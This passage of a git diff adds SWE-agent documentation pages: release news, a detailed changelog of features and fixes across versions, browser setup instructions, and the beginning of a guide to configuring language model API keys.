Learn more about the project goals and academic research.

+
+ +
+## 📣 News + +* July 24: [Mini-SWE-Agent](https://github.com/SWE-agent/mini-SWE-agent) achieves 65% on SWE-bench verified in 100 lines of python! +* July 9: [Multimodal support for SWE-agent](usage/multimodal.md) - Process images from GitHub issues with vision-capable AI models +* May 2: [SWE-agent-LM-32b](https://swesmith.com) achieves open-weights SOTA on SWE-bench +* Feb 28: [SWE-agent 1.0 + Claude 3.7 is SoTA on SWE-Bench full](https://x.com/KLieret/status/1895487966409298067) +* Feb 25: [SWE-agent 1.0 + Claude 3.7 is SoTA on SWE-bench verified](https://x.com/KLieret/status/1894408819670733158) +* Feb 13: [Releasing SWE-agent 1.0: SoTA on SWE-bench light & tons of new features](https://x.com/KLieret/status/1890048205448220849) +* Dec 7: [An interview with the SWE-agent & SWE-bench team](https://www.youtube.com/watch?v=fcr8WzeEXyk) + +## ✍️ Doc updates + +* June 26: [Adding custom tools](usage/adding_custom_tools.md) +* Apr 8: [Running SWE-agent competitively](usage/competitive_runs.md) +* Mar 7: [Updated SWE-agent architecture diagram of 1.0](background/architecture.md) \ No newline at end of file diff --git a/docs/installation/changelog.md b/docs/installation/changelog.md new file mode 100644 index 0000000..ef53e0f --- /dev/null +++ b/docs/installation/changelog.md @@ -0,0 +1,342 @@ +# Changelog + +## SWE-agent 1.1.0 (2025-05-22) + +We're very excited to announce our new project [SWE-smith](https://swesmith.com/), generating 10s of thousands of training trajectories for SWE agents. +Using this training data, our LM SWE-agent-LM-32b achieves open-weights SotA on SWE-bench verified with SWE-agent! + +Apart from that, v1.1.0 is mostly a fix release with minor improvements, in particular adding compatibility with SWE-bench multilingual/multimodal, and SWE-smith. + +### Breaking changes + +* Changes to trajectory data format. The `messages` field is replaced by `query` by [@klieret](https://github.com/klieret) in [#1107](https://github.com/princeton-nlp/SWE-agent/pull/1107) +* Renamed many tool bundles that used "windowed" file viewer (`defaults` and more) by [@klieret](https://github.com/klieret) in [#1147](https://github.com/princeton-nlp/SWE-agent/pull/1147) +* Removed `review_on_submit` tool bundle (replaced by `review_on_submit_m`) by [@klieret](https://github.com/klieret) in [#1148](https://github.com/princeton-nlp/SWE-agent/pull/1148) +* Change in `windowed` tools (formerly `default`): Don't append \n to new file by [@klieret](https://github.com/klieret) in [#1114](https://github.com/princeton-nlp/SWE-agent/pull/1114) + +### Added + +New dataset support: + +* Feat: Support multilingual evaluation by [@kabirgh](https://github.com/kabirgh) in [#1090](https://github.com/princeton-nlp/SWE-agent/pull/1090) +* Feat: SWE-smith & multimodal base support by [@klieret](https://github.com/klieret) in [#1092](https://github.com/princeton-nlp/SWE-agent/pull/1092) + +New utilities: + +* Feat: Add quick-stats tool by [@klieret](https://github.com/klieret) in [#1125](https://github.com/princeton-nlp/SWE-agent/pull/1125) + +### Enhanced + +* Feat: Config/override max_output_tokens by [@klieret](https://github.com/klieret) in [#1036](https://github.com/princeton-nlp/SWE-agent/pull/1036) +* Enh: [#1042] fix(run_batch): handle JSON parsing errors in trajectory check by [@FRAOTIAC](https://github.com/FRAOTIAC) in [#1043](https://github.com/princeton-nlp/SWE-agent/pull/1043) +* Enh: Allow to override tools dirs etc. by [@klieret](https://github.com/klieret) in [#1046](https://github.com/princeton-nlp/SWE-agent/pull/1046) +* Enh: Allow to override path to swe-bench dataset by [@klieret](https://github.com/klieret) in [#1093](https://github.com/princeton-nlp/SWE-agent/pull/1093) +* Enh: Allow to disable python-standalone for batch by [@klieret](https://github.com/klieret) in [#1115](https://github.com/princeton-nlp/SWE-agent/pull/1115) +* Enh: More information on skipped exit status by [@klieret](https://github.com/klieret) in [#1117](https://github.com/princeton-nlp/SWE-agent/pull/1117) + +### Fixed + +* Fix: Setting max_input_tokens to 0 by [@klieret](https://github.com/klieret) in [#999](https://github.com/princeton-nlp/SWE-agent/pull/999) +* Fix: Explicitly set log file encoding by [@klieret](https://github.com/klieret) in [#1013](https://github.com/princeton-nlp/SWE-agent/pull/1013) +* Fix: Ensure pydantic-settings env prefix set by [@klieret](https://github.com/klieret) in [#1018](https://github.com/princeton-nlp/SWE-agent/pull/1018) +* Fix: run batch processing with modal by [@vsee](https://github.com/vsee) in [#1023](https://github.com/princeton-nlp/SWE-agent/pull/1023) +* Fix: Catch exit forfeit by [@klieret](https://github.com/klieret) in [#1024](https://github.com/princeton-nlp/SWE-agent/pull/1024) +* Fix: Use 'latest' image tag for SWE-Bench images by [@klieret](https://github.com/klieret) in [#1029](https://github.com/princeton-nlp/SWE-agent/pull/1029) +* Fix: Show tenacity retry reasons by [@klieret](https://github.com/klieret) in [#1032](https://github.com/princeton-nlp/SWE-agent/pull/1032) +* Fix: Compatibility with textual 2.0 by [@klieret](https://github.com/klieret) in [#1033](https://github.com/princeton-nlp/SWE-agent/pull/1033) +* Fix: Use default trajectories dir according to ENV by [@vsee](https://github.com/vsee) in [#1054](https://github.com/princeton-nlp/SWE-agent/pull/1054) +* Fix: fix Windows path error, replace Path with PurePosixPath or string by [@alwaysgoodtime](https://github.com/alwaysgoodtime) in [#1052](https://github.com/princeton-nlp/SWE-agent/pull/1052) +* Fix: Ensure tools PATH takes precedence by [@klieret](https://github.com/klieret) in [#1058](https://github.com/princeton-nlp/SWE-agent/pull/1058) +* Fix: Ensure state exists by [@klieret](https://github.com/klieret) in [#1065](https://github.com/princeton-nlp/SWE-agent/pull/1065) +* Fix spelling of 'agent' in hello world by [@edspencer](https://github.com/edspencer) in [#1077](https://github.com/princeton-nlp/SWE-agent/pull/1077) +* Fix: Inspector needs to handle new message format by [@klieret](https://github.com/klieret) in [#1094](https://github.com/princeton-nlp/SWE-agent/pull/1094) +* Fix: SWEBenchInstances with path and no subset initiated as other instance type by [@klieret](https://github.com/klieret) in [#1096](https://github.com/princeton-nlp/SWE-agent/pull/1096) +* Fix: Token limit exceeded for PR body issue by [@klieret](https://github.com/klieret) in [#1098](https://github.com/princeton-nlp/SWE-agent/pull/1098) +* Fix: Work around litellm claude 3.7 tokens to 128k by [@klieret](https://github.com/klieret) in [#1106](https://github.com/princeton-nlp/SWE-agent/pull/1106) +* Fix(repo): Ensure absolute path for copy repo by [@klieret](https://github.com/klieret) in [#1116](https://github.com/princeton-nlp/SWE-agent/pull/1116) +* Fix execution time timeouts by [@klieret](https://github.com/klieret) in [#1118](https://github.com/princeton-nlp/SWE-agent/pull/1118) +* Fix: Hierarchical merge of multiple configs by [@klieret](https://github.com/klieret) in [#1123](https://github.com/princeton-nlp/SWE-agent/pull/1123) +* fix message type missing by [@klieret](https://github.com/klieret) in [#1127](https://github.com/princeton-nlp/SWE-agent/pull/1127) +* Fix: Conditional for warning about empty template by [@klieret](https://github.com/klieret) in [#1137](https://github.com/princeton-nlp/SWE-agent/pull/1137) + +### New Contributors + +* [@vsee](https://github.com/vsee) made their first contribution in [#1023](https://github.com/princeton-nlp/SWE-agent/pull/1023) +* [@FRAOTIAC](https://github.com/FRAOTIAC) made their first contribution in [#1043](https://github.com/princeton-nlp/SWE-agent/pull/1043) +* [@jpaodev](https://github.com/jpaodev) made their first contribution in [#1050](https://github.com/princeton-nlp/SWE-agent/pull/1050) +* [@alwaysgoodtime](https://github.com/alwaysgoodtime) made their first contribution in [#1052](https://github.com/princeton-nlp/SWE-agent/pull/1052) +* [@alexgshaw](https://github.com/alexgshaw) made their first contribution in [#1056](https://github.com/princeton-nlp/SWE-agent/pull/1056) +* [@talorabr](https://github.com/talorabr) made their first contribution in [#1026](https://github.com/princeton-nlp/SWE-agent/pull/1026) +* [@katia](https://github.com/katia)-sentry made their first contribution in [#1070](https://github.com/princeton-nlp/SWE-agent/pull/1070) +* [@edspencer](https://github.com/edspencer) made their first contribution in [#1077](https://github.com/princeton-nlp/SWE-agent/pull/1077) +* [@kabirgh](https://github.com/kabirgh) made their first contribution in [#1090](https://github.com/princeton-nlp/SWE-agent/pull/1090) + +**Full Changelog**: https://github.com/SWE-agent/SWE-agent/compare/v1.0.1...v1.1.0 + +## SWE-agent 1.0.1 (2025-02-28) + +This fixup release brings fixes mostly to the compatibility with local models. We have also significantly expanded the documentation in that aspect ([models & keys documentation](https://swe-agent.com/latest/installation/keys/)). + +### Changed + +* Change: Make anthropic_filemap the new default config by [@klieret](https://github.com/klieret) in [#927](https://github.com/princeton-nlp/SWE-agent/pull/927) + +### Added + +* Enh: Set timeout for post_startup_commands by [@klieret](https://github.com/klieret) in [#973](https://github.com/princeton-nlp/SWE-agent/pull/973) +* Enh: Allow to override max_input_tokens for local models by [@klieret](https://github.com/klieret) in [#992](https://github.com/princeton-nlp/SWE-agent/pull/992) + +### Fixes + +* Fix: Handling local models cost lookup issues by [@klieret](https://github.com/klieret) in [#937](https://github.com/princeton-nlp/SWE-agent/pull/937) +* Fix: Requires-python >= 3.11 by [@klieret](https://github.com/klieret) in [#940](https://github.com/princeton-nlp/SWE-agent/pull/940) +* traj inspector viewport reset by [@klieret](https://github.com/klieret) in [#946](https://github.com/princeton-nlp/SWE-agent/pull/946) +* Fix: Reset viewport when next/prev step/traj by [@klieret](https://github.com/klieret) in [#948](https://github.com/princeton-nlp/SWE-agent/pull/948) +* Fix: Disable highlighting of model outputs by [@klieret](https://github.com/klieret) in [#949](https://github.com/princeton-nlp/SWE-agent/pull/949) +* Fix: Create PRs by [@klieret](https://github.com/klieret) in [#954](https://github.com/princeton-nlp/SWE-agent/pull/954) +* Fix: Add __init__,py to agent/hooks by [@RNabel](https://github.com/RNabel) in [#961](https://github.com/princeton-nlp/SWE-agent/pull/961) +* Fix: Pin textual to version 1.0.0 by [@RNabel](https://github.com/RNabel) in [#960](https://github.com/princeton-nlp/SWE-agent/pull/960) +* Fix: OpenAI API: Don't pass None tool_calls to the OpenAI API by [@RNabel](https://github.com/RNabel) in [#967](https://github.com/princeton-nlp/SWE-agent/pull/967) +* Fix: Forces platform to be linux/amd64 for swe-bench batch runs by [@carlosejimenez](https://github.com/carlosejimenez) in [#942](https://github.com/princeton-nlp/SWE-agent/pull/942) +* Fix "TypeError: Cannot read properties of null (reading 'replace')" in Trajectory viewer by [@0xba1a](https://github.com/0xba1a) in [#989](https://github.com/princeton-nlp/SWE-agent/pull/989) +* Fix: No retries if costs cannot be calculated by [@klieret](https://github.com/klieret) in [#990](https://github.com/princeton-nlp/SWE-agent/pull/990) +* Fix: Race condition/size change during iteration by [@klieret](https://github.com/klieret) in [#993](https://github.com/princeton-nlp/SWE-agent/pull/993) +* Fix: Handle total cost limit exceeded by [@klieret](https://github.com/klieret) in [#994](https://github.com/princeton-nlp/SWE-agent/pull/994) + +## New Contributors + +* [@RNabel](https://github.com/RNabel) made their first contribution in [#961](https://github.com/princeton-nlp/SWE-agent/pull/961) +* [@dhruvji](https://github.com/dhruvji) made their first contribution in [#963](https://github.com/princeton-nlp/SWE-agent/pull/963) +* [@0xba1a](https://github.com/0xba1a) made their first contribution in [#989](https://github.com/princeton-nlp/SWE-agent/pull/989) + +**Full Changelog**: https://github.com/SWE-agent/SWE-agent/compare/v1.0.0...v1.0.1 + +## 1.0.0 (2025-02-13) + +This is a massive release that includes many new features, fixes, and changes. +You can read more about the changes in the [migration guide](migration.md). + +### Added + +* Fast, massively parallel code execution with [SWE-ReX](https://github.com/swe-agent/SWE-ReX). +* Run SWE-agent locally but execute code in the cloud (using modal, AWS, or anything else that runs [SWE-ReX](https://github.com/swe-agent/SWE-ReX)). +* Configurable retry mechanisms: Try multiple agent configurations, models, parameters, etc., then choose the best one. +* Flexible tool definitions with [tool bundles](../config/tools.md). +* All language models supported using `litellm` (see [models](../installation/keys.md)). +* Override any configuration option from the command line (see [command line basics](../usage/cl_tutorial.md)). +* New [command line trajectory inspector](../usage/inspector.md) to scroll few hundreds of trajectories with ease. +* [New command line interface](../usage/cli.md) with subcommands for running over single issues, batches, and various utility commands. +* Greatly simplified and cleaned up codebase. In particular, the `Agent` class is now much easier to modify. + +### Changed + +* The code base has been largely rewritten. Lots of things have moved and changed. +* The biggest change is that we now use [SWE-ReX](https://github.com/swe-agent/SWE-ReX) for code execution. This allowed us to remove a lot of distracting code from the agent. +* We now use [`pydantic`](https://docs.pydantic.dev/) for all configuration. +* Templates are now [`jinja2`](https://jinja.palletsprojects.com/) templates, which gives you more flexibility (but you'll have to update your templates) +* All models are now configured using `litellm` (see [models](../installation/keys.md)). + +See the [migration guide](migration.md) for more details. + +### New contributors + +* [@manya706](https://github.com/manya706) made their first contribution in [#787](https://github.com/princeton-nlp/SWE-agent/pull/787) +* [@Prathamesh010](https://github.com/Prathamesh010) made their first contribution in [#796](https://github.com/princeton-nlp/SWE-agent/pull/796) +* [@magnimusprime](https://github.com/magnimusprime) made their first contribution in [#813](https://github.com/princeton-nlp/SWE-agent/pull/813) +* [@dependabot](https://github.com/dependabot) made their first contribution in [#817](https://github.com/princeton-nlp/SWE-agent/pull/817) +* [@Mefisto04](https://github.com/Mefisto04) made their first contribution in [#824](https://github.com/princeton-nlp/SWE-agent/pull/824) +* [@acheshkov](https://github.com/acheshkov) made their first contribution in [#857](https://github.com/princeton-nlp/SWE-agent/pull/857) +* [@yu-iskw](https://github.com/yu-iskw) made their first contribution in [#881](https://github.com/princeton-nlp/SWE-agent/pull/881) + +## 0.7.0 (2024-09-23) + +### Added + +The main new feature is the **EnIGMA mode**, which included additions like support for Interactive Agent Tools +and Summarizers. + +* Add filemap command in the spirit of repomap by [@samuela](https://github.com/samuela) in [#619](https://github.com/princeton-nlp/SWE-agent/pull/619) +* Create config to run human eval style challenges by [@ofirpress](https://github.com/ofirpress) in [#658](https://github.com/princeton-nlp/SWE-agent/pull/658) +* Add claude 3.5 sonnet to models by [@carlosejimenez](https://github.com/carlosejimenez) in [#601](https://github.com/princeton-nlp/SWE-agent/pull/601) +* Enh: Warn if scrolling >= 3 times by [@klieret](https://github.com/klieret) in [#626](https://github.com/princeton-nlp/SWE-agent/pull/626) +* feat: support deepseek-coder LLM by [@jcraftsman](https://github.com/jcraftsman) in [#638](https://github.com/princeton-nlp/SWE-agent/pull/638) +* Enh: Make timeout for agent commands configurable by [@klieret](https://github.com/klieret) in [#674](https://github.com/princeton-nlp/SWE-agent/pull/674) +* Add support for new gpt-4o-mini model by [@ivan4722](https://github.com/ivan4722) in [#693](https://github.com/princeton-nlp/SWE-agent/pull/693) +* Groq Models Integration by [@MohammedNagdy](https://github.com/MohammedNagdy) in [#721](https://github.com/princeton-nlp/SWE-agent/pull/721) +* Make log level configurable; add TRACE level by [@klieret](https://github.com/klieret) in [#612](https://github.com/princeton-nlp/SWE-agent/pull/612) + +### Fixes + +* Compatibility with SWE-bench 2.0 by [@klieret](https://github.com/klieret) in [#671](https://github.com/princeton-nlp/SWE-agent/pull/671) +* ensure variables work in special command docstring by [@forresty](https://github.com/forresty) in [#628](https://github.com/princeton-nlp/SWE-agent/pull/628) +* Important fix: Catch CostLimitExceeded in retry because of format/block by [@klieret](https://github.com/klieret) in [#682](https://github.com/princeton-nlp/SWE-agent/pull/682) +* Fix: Handle empty traj in should_skip by [@klieret](https://github.com/klieret) in [#616](https://github.com/princeton-nlp/SWE-agent/pull/616) +* Fix for end-marker communicate: Exit status always 0/invalid by [@klieret](https://github.com/klieret) in [#644](https://github.com/princeton-nlp/SWE-agent/pull/644) +* Fix: Insufficient quoting of git commit message by [@klieret](https://github.com/klieret) in [#646](https://github.com/princeton-nlp/SWE-agent/pull/646) +* Fix nonsensical trajectory formatting for PRs by [@klieret](https://github.com/klieret) in [#647](https://github.com/princeton-nlp/SWE-agent/pull/647) +* Fix: sweunexpected keyword 'python_version' by [@klieret](https://github.com/klieret) in [#692](https://github.com/princeton-nlp/SWE-agent/pull/692) +* Fix: Use LONG_TIMEOUT for pre_install commands by [@klieret](https://github.com/klieret) in [#695](https://github.com/princeton-nlp/SWE-agent/pull/695) +* Fix: UnboundLocalError when catching decoding issue by [@klieret](https://github.com/klieret) in [#709](https://github.com/princeton-nlp/SWE-agent/pull/709) +* Also create empty patch files for completeness by [@klieret](https://github.com/klieret) in [#725](https://github.com/princeton-nlp/SWE-agent/pull/725) +* Fix: Raise ContextWindowExceeded instead of exit_cost by [@klieret](https://github.com/klieret) in [#727](https://github.com/princeton-nlp/SWE-agent/pull/727) +* Fix: Deal with non-utf8 encoded bytes in comm by [@klieret](https://github.com/klieret) in [#731](https://github.com/princeton-nlp/SWE-agent/pull/731) +* Fix: Handle spaces in repo names by [@klieret](https://github.com/klieret) in [#734](https://github.com/princeton-nlp/SWE-agent/pull/734) +* Fix: Ensure utils is part of package by [@klieret](https://github.com/klieret) in [#742](https://github.com/princeton-nlp/SWE-agent/pull/742) +* Fix: Submitting ' ' in human mode crashes container by [@klieret](https://github.com/klieret) in [#749](https://github.com/princeton-nlp/SWE-agent/pull/749) +* Fix: Block su as command by [@klieret](https://github.com/klieret) in [#752](https://github.com/princeton-nlp/SWE-agent/pull/752) +* Fix: SWE_AGENT_MODEL_MAX_RETRIES needs casting by [@klieret](https://github.com/klieret) in [#757](https://github.com/princeton-nlp/SWE-agent/pull/757) + +### New Contributors + +🎉 **[@talorabr](https://github.com/talorabr), [@udiboy1209](https://github.com/udiboy1209), [@haoranxi](https://github.com/haoranxi), [@NickNameInvalid](https://github.com/NickNameInvalid), [@rollingcoconut](https://github.com/rollingcoconut) joined the team to build EnIGMA** 🎉 + +* [@samefarrar](https://github.com/samefarrar) made their first contribution in [#606](https://github.com/princeton-nlp/SWE-agent/pull/606) +* [@hubstrauss](https://github.com/hubstrauss) made their first contribution in [#625](https://github.com/princeton-nlp/SWE-agent/pull/625) +* [@samuela](https://github.com/samuela) made their first contribution in [#619](https://github.com/princeton-nlp/SWE-agent/pull/619) +* [@forresty](https://github.com/forresty) made their first contribution in [#628](https://github.com/princeton-nlp/SWE-agent/pull/628) +* [@jcraftsman](https://github.com/jcraftsman) made their first contribution in [#638](https://github.com/princeton-nlp/SWE-agent/pull/638) +* [@ivan4722](https://github.com/ivan4722) made their first contribution in [#693](https://github.com/princeton-nlp/SWE-agent/pull/693) +* [@JoshuaPurtell](https://github.com/JoshuaPurtell) made their first contribution in [#703](https://github.com/princeton-nlp/SWE-agent/pull/703) +* [@MohammedNagdy](https://github.com/MohammedNagdy) made their first contribution in [#721](https://github.com/princeton-nlp/SWE-agent/pull/721) +* [@pdemro](https://github.com/pdemro) made their first contribution in [#729](https://github.com/princeton-nlp/SWE-agent/pull/729) + +## 0.6.1 (2024-06-20) + +[All new commits](https://github.com/SWE-agent/SWE-agent/compare/v0.6.0...v0.6.1) + +This is (mostly) a patch release, in particular fixing several issues that had been introduced by the speed improvements of v0.6.0. +We also solve a bug where existing linter errors in a file left SWE-agent unable to edit (because of our lint-retry-loop). + +### Breaking changes + +* Change: sparse clone method is now correctly called "shallow" by [@klieret](https://github.com/klieret) in [#591](https://github.com/princeton-nlp/SWE-agent/pull/591) + +### Improved + +* Enh: Show commands when encountering timeout error by [@klieret](https://github.com/klieret) in [#582](https://github.com/princeton-nlp/SWE-agent/pull/582) +* Enh: Configuration option to show time in log by [@klieret](https://github.com/klieret) in [#583](https://github.com/princeton-nlp/SWE-agent/pull/583) +* Enh: Allow to configure LONG_TIMEOUT for SWEEnv by [@klieret](https://github.com/klieret) in [#584](https://github.com/princeton-nlp/SWE-agent/pull/584) +* Enh: Always write log to traj directory by [@klieret](https://github.com/klieret) in [#588](https://github.com/princeton-nlp/SWE-agent/pull/588) + +### Fixed + +* fix `docker.errors.NotFound` by [@klieret](https://github.com/klieret) in [#587](https://github.com/princeton-nlp/SWE-agent/pull/587) +* Fix: Revert to full clone method when needed by [@klieret](https://github.com/klieret) in [#589](https://github.com/princeton-nlp/SWE-agent/pull/589) +* Fix: Refresh container_obj before querying status by [@klieret](https://github.com/klieret) in [#590](https://github.com/princeton-nlp/SWE-agent/pull/590) +* Fixed #571 - show message that model arg is ignored in case of using Azure OpenAI by [@jank](https://github.com/jank) in [#592](https://github.com/princeton-nlp/SWE-agent/pull/592) +* Fix: Linting blocks for existing lint errors by [@klieret](https://github.com/klieret) in [#593](https://github.com/princeton-nlp/SWE-agent/pull/593) +* Fix: Process done marker not found in read with timeout by [@klieret](https://github.com/klieret) in [#596](https://github.com/princeton-nlp/SWE-agent/pull/596) + +## 0.6.0 (2024-06-05) + +[All new commits](https://github.com/SWE-agent/SWE-agent/compare/v0.5.0...v0.6.0) + +**We sped up SWE-agent by 2x** (timed with GPT4o). This is mostly due to faster communication with the running processes inside of the Docker container and other container setup & installation related improvements. Here are a few relevant PRs: + +* Switch to fast communicate and shallow clone by default by [@klieret](https://github.com/klieret) in [#530](https://github.com/princeton-nlp/SWE-agent/pull/530) +* Change: Only wait 1s for docker to start by [@klieret](https://github.com/klieret) in [#541](https://github.com/princeton-nlp/SWE-agent/pull/541) +* Feat: experimental shallow cloning by [@klieret](https://github.com/klieret) in [#498](https://github.com/princeton-nlp/SWE-agent/pull/498) +* Enh: Start from clone of python conda environment for speedup by [@klieret](https://github.com/klieret) in [#548](https://github.com/princeton-nlp/SWE-agent/pull/548) +* Enh: Use uv for editable install by default by [@klieret](https://github.com/klieret) in [#547](https://github.com/princeton-nlp/SWE-agent/pull/547) + +### Improved + +* Improve scrolling behavior in web UI by [@anishfish2](https://github.com/anishfish2) in [#420](https://github.com/princeton-nlp/SWE-agent/pull/420) +* Web UI: Render Markdown in agent feed messages. by [@kwight](https://github.com/kwight) in [#486](https://github.com/princeton-nlp/SWE-agent/pull/486) +* Enh: Remove redundant 'saved traj to X' messages by [@klieret](https://github.com/klieret) in [#528](https://github.com/princeton-nlp/SWE-agent/pull/528) +* Allow to disable config dump to log by [@klieret](https://github.com/klieret) in [#537](https://github.com/princeton-nlp/SWE-agent/pull/537) +* Resolve relative paths to demonstrations and commands by [@klieret](https://github.com/klieret) in [#444](https://github.com/princeton-nlp/SWE-agent/pull/444) + +### Fixed + +* Web UI: Remove -n option to wait by [@klieret](https://github.com/klieret) in [#487](https://github.com/princeton-nlp/SWE-agent/pull/487) +* Web UI: Kill the Flask server on exit. by [@kwight](https://github.com/kwight) in [#479](https://github.com/princeton-nlp/SWE-agent/pull/479) +* Web UI: Avoid proxy errors on MacOS by [@klieret](https://github.com/klieret) in [#506](https://github.com/princeton-nlp/SWE-agent/pull/506) +* Ensure container_name is reset for non-persistent containers by [@klieret](https://github.com/klieret) in [#463](https://github.com/princeton-nlp/SWE-agent/pull/463) +* Fix: Do not allow persistent container with cache task imgs by [@klieret](https://github.com/klieret) in [#551](https://github.com/princeton-nlp/SWE-agent/pull/551) + + +## 0.5.0 (2024-05-28) + +[All new commits](https://github.com/SWE-agent/SWE-agent/compare/v0.4.0...v0.5.0) + +✨ The big news is our [brand new documentation](https://swe-agent.com/latest/) ✨ + +Secondly, [@ollmer](https://github.com/ollmer) added a new flag `--cache_task_images` that will significantly speed up SWE-agent when running on the same environment/repository multiple times (no more waiting for cloning and installation!) + +### Breaking changes + +* We have reformatted our codebase. If you create a PR based on a previous commit, make sure you install our `pre-commit` hook to avoid merge-conflicts because of formatting. See [our docs](https://swe-agent.com/latest/dev/formatting_conflicts/) for more information. +* Remove direct imports in `__init__.py` (you can no longer `from sweagent import Agent` by [@klieret](https://github.com/klieret) in [#436](https://github.com/princeton-nlp/SWE-agent/pull/436) + +### Added + +* Running the web UI is now supported when running SWE-agent completely in docker +* Speed up evaluation by caching task environments as docker images by [@ollmer](https://github.com/ollmer) in [#317](https://github.com/princeton-nlp/SWE-agent/pull/317) + +### Improved + +* Add gpt-4o model by [@raymyers](https://github.com/raymyers) in [#344](https://github.com/princeton-nlp/SWE-agent/pull/344) +* Web: Allow to specify commit hash by [@klieret](https://github.com/klieret) in [#358](https://github.com/princeton-nlp/SWE-agent/pull/358) +* Add default environment_setup config by [@klieret](https://github.com/klieret) in [#351](https://github.com/princeton-nlp/SWE-agent/pull/351) +* Enh: Suppress openai logging; improve formatting of stats by [@klieret](https://github.com/klieret) in [#416](https://github.com/princeton-nlp/SWE-agent/pull/416) +* Remove signal dependency by [@klieret](https://github.com/klieret) in [#428](https://github.com/princeton-nlp/SWE-agent/pull/428) +* Do not use select if running on Windows by [@klieret](https://github.com/klieret) in [#429](https://github.com/princeton-nlp/SWE-agent/pull/429) +* Use custom Config class to support env and keys.cfg (this allows passing keys as environment variables) by [@klieret](https://github.com/klieret) in [#430](https://github.com/princeton-nlp/SWE-agent/pull/430) + +### Fixed + +* Web: Fix script_path input by [@klieret](https://github.com/klieret) in [#334](https://github.com/princeton-nlp/SWE-agent/pull/334) +* Fix: Don't print patch msg for exit_cost patch by [@klieret](https://github.com/klieret) in [#343](https://github.com/princeton-nlp/SWE-agent/pull/343) +* Fix: Do not request job control in bash by [@klieret](https://github.com/klieret) in [#345](https://github.com/princeton-nlp/SWE-agent/pull/345) +* Fix: --base_commit not used for gh urls by [@klieret](https://github.com/klieret) in [#346](https://github.com/princeton-nlp/SWE-agent/pull/346) +* Fix: Separate data path/traj dir cause exception by [@klieret](https://github.com/klieret) in [#348](https://github.com/princeton-nlp/SWE-agent/pull/348) +* Add docker-py lower bound by [@klieret](https://github.com/klieret) in [#406](https://github.com/princeton-nlp/SWE-agent/pull/406) +* Fix: IndexError when replaying incomplete trajectories by [@klieret](https://github.com/klieret) in [#410](https://github.com/princeton-nlp/SWE-agent/pull/410) + + +## 0.4.0 (2024-05-09) + +[All new commits](https://github.com/SWE-agent/SWE-agent/compare/v0.3.0...v0.4.0) + +### Added + +We’re excited to launch the SWE-agent web UI! Specify a bug, press start and watch SWE-agent do the magic. + +## 0.3.0 (2024-05-02) + +### Added + +* Run SWE-agent in the cloud using GitHub Codespaces +* Add GPT4-turbo model by [@zgrannan](https://github.com/zgrannan) in [#252](https://github.com/princeton-nlp/SWE-agent/pull/252) +* feat: Amazon Bedrock support (Claude models) by [@JGalego](https://github.com/JGalego) in [#207](https://github.com/princeton-nlp/SWE-agent/pull/207) + +### Fixed + +* Better error handling for --open_pr by [@klieret](https://github.com/klieret) in [#239](https://github.com/princeton-nlp/SWE-agent/pull/239) +* Fixed a potential error by [@DanjieTang](https://github.com/DanjieTang) in [#242](https://github.com/princeton-nlp/SWE-agent/pull/242) +* fix: TARGETARCH not set on some OS/docker setups by [@mspronesti](https://github.com/mspronesti) in [#249](https://github.com/princeton-nlp/SWE-agent/pull/249) +* Pass Python version to get_environment_yml by [@waterson](https://github.com/waterson) in [#271](https://github.com/princeton-nlp/SWE-agent/pull/271) +* Fix Together model validation error by [@mikanfactory](https://github.com/mikanfactory) in [#236](https://github.com/princeton-nlp/SWE-agent/pull/236) +* Doc: Avoid invalid github token by [@klieret](https://github.com/klieret) in [#292](https://github.com/princeton-nlp/SWE-agent/pull/292) + +## 0.2.0 (2024-04-15) + +[All new commits](https://github.com/SWE-agent/SWE-agent/compare/v0.1.2...v0.2.0) + +### Added + +* Allow to run on local repos (new flag: `--repo_path`) in [#193](https://github.com/princeton-nlp/SWE-agent/pull/193) +* Patch files are now saved separately to a patch directory in [#126](https://github.com/princeton-nlp/SWE-agent/pull/126) +* Allow to supply custom installation commands when running on gh issues or locally (`--environment_setup`) in [#153](https://github.com/princeton-nlp/SWE-agent/pull/153) +* Allow to specify openapi base url in `keys.cfg` in [#118](https://github.com/princeton-nlp/SWE-agent/pull/118) + +### Improved + +* Improve error handling of docker issues in [#165](https://github.com/princeton-nlp/SWE-agent/pull/165) +* Make github token fully optional in [#189](https://github.com/princeton-nlp/SWE-agent/pull/189) + +### Fixed + +* Fix opening PR from fork in [#229](https://github.com/princeton-nlp/SWE-agent/pull/229) +* Fix: Choosing TogetherAI models in [#130](https://github.com/princeton-nlp/SWE-agent/pull/130) diff --git a/docs/installation/codespaces.md b/docs/installation/codespaces.md new file mode 100644 index 0000000..dec6bf2 --- /dev/null +++ b/docs/installation/codespaces.md @@ -0,0 +1,12 @@ +# Running SWE-agent in your browser + +Running SWE-agent in your browser is the easiest way to try out our project. + + + +1. Click [![Open in GitHub Codespaces](https://github.com/codespaces/badge.svg)](https://codespaces.new/SWE-agent/SWE-agent) +2. Add your language model API keys to `.env` (find the file in the left sidebar and fill out the template). More information on the keys [here](keys.md). +3. Make sure to wait until the `postCreateCommand` in the terminal window at the bottom is finished +4. Enter your SWE-agent command, see [using the command line](../usage/cl_tutorial.md). diff --git a/docs/installation/index.md b/docs/installation/index.md new file mode 100644 index 0000000..ddd2576 --- /dev/null +++ b/docs/installation/index.md @@ -0,0 +1,33 @@ +# Setting up SWE-agent + +
+ +
+
+ settings + Install from source +
+

Install SWE-agent locally from source using pip. This is the default option.

+
+ + + +
+
+ code + All in browser +
+

Run in a browser-based VSCode environment. Best for a quick first peek.

+
+ + + +
+
+ newspaper + Changelog +
+

See what's new in SWE-agent!

+
+ +
diff --git a/docs/installation/keys.md b/docs/installation/keys.md new file mode 100644 index 0000000..1258225 --- /dev/null +++ b/docs/installation/keys.md @@ -0,0 +1,155 @@ +# Models and API keys + +!!! abstract "Setting up models" + This page shows how you can set up your LM with SWE-agent + + * Generally all API models work out of the box by just adding the key and specifying `--agent.model.name` + * More care must be taken for local models (see tips below!) + +## Setting API keys + +In order to access the LM of your choice (and to access private GitHub repositories), you need to supply the corresponding keys. + +There are three options to do this: + +1. Set the corresponding [environment variables](https://www.cherryservers.com/blog/how-to-set-list-and-manage-linux-environment-variables). +2. Create a `.env` file at the root of this repository. All of the variables defined there will take the place of environment variables. +3. Use `--agent.model.api_key` to set the key + +Here's an example + +```bash +# Remove the comment '#' in front of the line for all keys that you have set +# GITHUB_TOKEN='GitHub Token for access to private repos' +# OPENAI_API_KEY='OpenAI API Key Here if using OpenAI Model' +# ANTHROPIC_API_KEY='Anthropic API Key Here if using Anthropic Model' +# TOGETHER_API_KEY='Together API Key Here if using Together Model' +``` + +See the following links for tutorials on obtaining 